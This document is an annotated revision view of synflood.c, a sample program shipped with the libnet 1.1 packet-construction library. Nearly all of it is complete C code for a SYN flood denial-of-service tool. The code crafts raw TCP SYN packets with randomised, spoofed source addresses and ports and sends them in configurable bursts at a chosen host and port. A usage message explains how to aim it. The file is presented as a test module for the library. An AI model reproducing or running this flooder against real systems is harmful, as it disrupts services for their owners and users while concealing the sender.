Annotation of embedaddon/libnet/sample/synflood.c, revision 1.1.1.1
1.1 misho 1: /*
2: * $Id: synflood.c,v 1.1.1.1 2003/06/26 21:55:11 route Exp $
3: *
4: * Poseidon++ (c) 1996 - 2003 Mike D. Schiffman <mike@infonexus.com>
5: * SYN flooder rewritten for no good reason. Again as libnet test module.
6: * Again for libnet 1.1.
7: * All rights reserved.
8: *
9: * Redistribution and use in source and binary forms, with or without
10: * modification, are permitted provided that the following conditions
11: * are met:
12: * 1. Redistributions of source code must retain the above copyright
13: * notice, this list of conditions and the following disclaimer.
14: * 2. Redistributions in binary form must reproduce the above copyright
15: * notice, this list of conditions and the following disclaimer in the
16: * documentation and/or other materials provided with the distribution.
17: *
18: * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
19: * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
20: * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
21: * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
22: * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
23: * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
24: * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
25: * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
26: * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
27: * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
28: * SUCH DAMAGE.
29: *
30: */
31:
32: #if (HAVE_CONFIG_H)
33: #include "../include/config.h"
34: #endif
35: #include "./libnet_test.h"
36:
37: struct t_pack
38: {
39: struct libnet_ipv4_hdr ip;
40: struct libnet_tcp_hdr tcp;
41: };
42:
43:
44: int
45: main(int argc, char **argv)
46: {
47: u_long dst_ip = 0;
48: u_long src_ip = 0;
49: u_short dst_prt = 0;
50: u_short src_prt = 0;
51: libnet_t *l;
52: libnet_ptag_t t;
53: u_char *cp;
54: char errbuf[LIBNET_ERRBUF_SIZE];
55: int i, c, packet_amt, burst_int, burst_amt, build_ip;
56:
57: packet_amt = 0;
58: burst_int = 0;
59: burst_amt = 1;
60:
61: printf("libnet 1.1 syn flooding: TCP[raw]\n");
62:
63: /*
64: * Initialize the library. Root priviledges are required.
65: */
66: l = libnet_init(
67: LIBNET_RAW4, /* injection type */
68: NULL, /* network interface */
69: errbuf); /* error buffer */
70:
71: if (l == NULL)
72: {
73: fprintf(stderr, "libnet_init() failed: %s", errbuf);
74: exit(EXIT_FAILURE);
75: }
76:
77: while((c = getopt(argc, argv, "t:a:i:b:")) != EOF)
78: {
79: switch (c)
80: {
81: /*
82: * We expect the input to be of the form `ip.ip.ip.ip.port`. We
83: * point cp to the last dot of the IP address/port string and
84: * then seperate them with a NULL byte. The optarg now points to
85: * just the IP address, and cp points to the port.
86: */
87: case 't':
88: if (!(cp = strrchr(optarg, '.')))
89: {
90: usage(argv[0]);
91: exit(EXIT_FAILURE);
92: }
93: *cp++ = 0;
94: dst_prt = (u_short)atoi(cp);
95: if ((dst_ip = libnet_name2addr4(l, optarg, 1)) == -1)
96: {
97: fprintf(stderr, "Bad IP address: %s\n", optarg);
98: exit(EXIT_FAILURE);
99: }
100: break;
101: case 'a':
102: packet_amt = atoi(optarg);
103: break;
104: case 'i':
105: burst_int = atoi(optarg);
106: break;
107: case 'b':
108: burst_amt = atoi(optarg);
109: break;
110: default:
111: usage(argv[0]);
112: exit(EXIT_FAILURE);
113: }
114: }
115:
116: if (!dst_prt || !dst_ip || !packet_amt)
117: {
118: usage(argv[0]);
119: exit(EXIT_FAILURE);
120: }
121:
122: libnet_seed_prand(l);
123:
124: for(t = LIBNET_PTAG_INITIALIZER, build_ip = 1; burst_amt--;)
125: {
126: for (i = 0; i < packet_amt; i++)
127: {
128: t = libnet_build_tcp(
129: src_prt = libnet_get_prand(LIBNET_PRu16),
130: dst_prt,
131: libnet_get_prand(LIBNET_PRu32),
132: libnet_get_prand(LIBNET_PRu32),
133: TH_SYN,
134: libnet_get_prand(LIBNET_PRu16),
135: 0,
136: 0,
137: LIBNET_TCP_H,
138: NULL,
139: 0,
140: l,
141: t);
142:
143: if (build_ip)
144: {
145: build_ip = 0;
146: libnet_build_ipv4(
147: LIBNET_TCP_H + LIBNET_IPV4_H,
148: 0,
149: libnet_get_prand(LIBNET_PRu16),
150: 0,
151: libnet_get_prand(LIBNET_PR8),
152: IPPROTO_TCP,
153: 0,
154: src_ip = libnet_get_prand(LIBNET_PRu32),
155: dst_ip,
156: NULL,
157: 0,
158: l,
159: 0);
160: }
161: c = libnet_write(l);
162: if (c == -1)
163: {
164: fprintf(stderr, "libnet_write: %s\n", libnet_geterror(l));
165: }
166: #if !(__WIN32__)
167: usleep(250);
168: #else
169: Sleep(250);
170: #endif
171:
172: printf("%15s:%5d ------> %15s:%5d\n",
173: libnet_addr2name4(src_ip, 1),
174: ntohs(src_prt),
175: libnet_addr2name4(dst_ip, 1),
176: dst_prt);
177: }
178: #if !(__WIN32__)
179: sleep(burst_int);
180: #else
181: Sleep(burst_int * 1000);
182: #endif
183: }
184: exit(EXIT_SUCCESS);
185: }
186:
187:
188: void
189: usage(char *nomenclature)
190: {
191: fprintf(stderr,
192: "\n\nusage: %s -t -a [-i -b]\n"
193: "\t-t target, (ip.address.port: 192.168.2.6.23)\n"
194: "\t-a number of packets to send per burst\n"
195: "\t-i packet burst sending interval (defaults to 0)\n"
196: "\t-b number packet bursts to send (defaults to 1)\n" , nomenclature);
197: }
198:
199:
200: /* EOF */
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